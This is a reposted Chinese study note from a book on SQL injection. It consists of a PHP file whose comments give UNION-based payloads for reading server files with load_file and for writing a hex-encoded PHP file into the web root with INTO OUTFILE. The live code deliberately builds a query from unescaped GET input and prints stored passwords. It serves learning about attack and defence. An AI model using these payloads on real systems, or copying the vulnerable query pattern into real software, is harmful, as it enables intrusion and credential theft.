SQL injection - 字符串转义/Mysql对文件的读写操作
时间:2016-11-27 15:52 来源:转载 作者:sn0w 点击:次
<?php //《SQL注入攻击与防御》1.3 Page 11 //对转义字符处理不正确 //正常sql语句:SELECT * FROM user WHERE id='1 //构造攻击语句:SELECT * FROM user WHERE id='1' union select 1,2,version()'' 【由于union要求列数相同 所以需要补充列数】 //修复:转义敏感字符 通过mysql_escape_string() 过滤字符 // $id=$_GET['id']; //获取输入参数 // $id=mysql_escape_string($id); //转义敏感字符 // $a=strpos($id,"\'"); //检查非法字符 // if($a==false){ //判断 // $sql="SELECT * FROM user WHERE id='".$id."'"; //构造查询 // }else{ // echo "Error"; // exit(); // } // echo $sql."<br/>"; //---------------------------END 2016年8月18日 17:34:08------------------------------ //《SQL注入攻击与防御》1.3 Page 13 //mysql写入文件 语句进行hex加密 写出时解密 注意单引号闭合问题。 //SELECT * FROM user WHERE id='1' union select 1,2,unhex('3c3f706870206563686f2022787878223f3e') into outfile 'D:/phpstudy/www/phpinfo.php''' //---------------------------END 2016年8月18日 22:26:44------------------------------ //《SQL注入攻击与防御》1.3 Page 13 //mysql读取文件 //SELECT * FROM user WHERE id='1' union all select 1,2,load_file("D:/phpStudy/MySQL/my.ini")'' //--------------------------END 2016年8月18日 22:40:24------------------------------- //连接数据库 $coon = mysql_connect('localhost','root','root') or die('Connect Error :'.mysql_error()); mysql_select_db('sqlinjection',$coon); //构造语句 $sql="SELECT * FROM user WHERE id='".$_GET['id']."'"; //传入的如果是字符串 必须加单引号 echo $sql."<br/>"; //执行语句 $result=mysql_query($sql) or die (mysql_error()); //var_dump($result); //exit(); //检查返回数据数量 $rowcount=mysql_num_rows($result); //var_dump($result); //exit(); //迭代返回数据 $row=1; while($db=mysql_fetch_assoc($result)){ //var_dump($db); if($row <= $rowcount){ echo "id:".$db['id']."<br/>"; echo "usernmae:".$db['username']."<br/>"; echo "password:".$db['password']."<br/>"; $row++; } } ?> (责任编辑:蜗蜗侠) |